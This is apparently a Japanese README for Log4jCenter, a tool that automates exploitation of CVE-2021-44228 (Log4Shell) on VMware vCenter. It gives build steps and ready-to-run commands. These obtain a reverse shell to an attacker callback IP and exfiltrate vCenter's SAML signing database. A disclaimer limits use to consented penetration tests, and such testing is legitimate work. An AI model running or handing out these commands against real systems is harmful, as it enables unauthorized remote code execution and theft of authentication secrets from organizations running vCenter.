
vCenter における CVE-2021-44228 を悪用して、リモートコード実行などを行う。
vCenter における CVE-2021-44228 を悪用し、リモートコード実行などを行うツールです。悪用手法を詳しく解説したブログ記事は以下を参照してください:
この脆弱性の Proof of Concept は散在しており、手動で実行する必要があります。このリポジトリは悪用プロセスを自動化し、悪用後に行える追加の攻撃経路を示しています。
このリポジトリは、手動または Docker のどちらでも使用できます。
エクスプロイトを手動でダウンロードして実行するには、次の手順を実行します。まず、攻撃用ホストに Java と Maven がインストールされていることを確認してください。Debian ベースのオペレーティングシステムで apt を使用してインストールするには、次のコマンドを実行します:
apt update && apt install openjdk-11-jre maven
GitHub リポジトリをクローンし、すべての Python 要件をインストールします:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && pip3 install -r requirements.txt
Log4jCenter リポジトリのルートから、以下のコマンドで Rogue-Jndi プロジェクトをコンパイルします:
mvn package -f utils/rogue-jndi/
まず、攻撃用ホストに Docker がインストールされていることを確認してください。(この手順については説明しません)
その後、以下のコマンドを実行して、リポジトリをクローンし、使用する Docker イメージをビルドします。
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && docker build -t log4jcenter .
コンテナを実行するには、コマンドラインのフラグを追加した、以下のようなコマンドを実行します。例えば、以下のコマンドは vCenter を悪用してリバースシェルを取得するために使用されます。コンテナはリバースシェルを受け取らないことに注意してください。別のシェルセッションで ncat リスナーを作成する必要があります:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 8090:8090 -p 1389:1389 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -p 4444 -r
usage: exploit.py [-h] -t IP -i CALLBACK [-p PORT] [-e] [-r]
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP vCenter Host IP
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
-e, --exfiltrate Module to pull SAML DB
-r, --revshell Module to establish reverse shell
ローカルシステムにインストールしたツールを使用してリバースシェルを取得します:
python3 exploit.py -t vcenter.acme.com -i 10.10.10.1 -p 4444 -r
Docker コンテナ内から SAML 署名データベースを外部に持ち出します:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 1389:1389 -p 8090:8090 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -e
このツールはペネトレーションテスト中での使用を目的として設計されています。事前の相互同意なしに標的を攻撃するためにこのツールを使用することは違法です。適用されるすべての地方、州、連邦の法律を遵守する責任はエンドユーザーにあります。開発者はいかなる責任も負わず、このプログラムの誤用についても責任を負いません。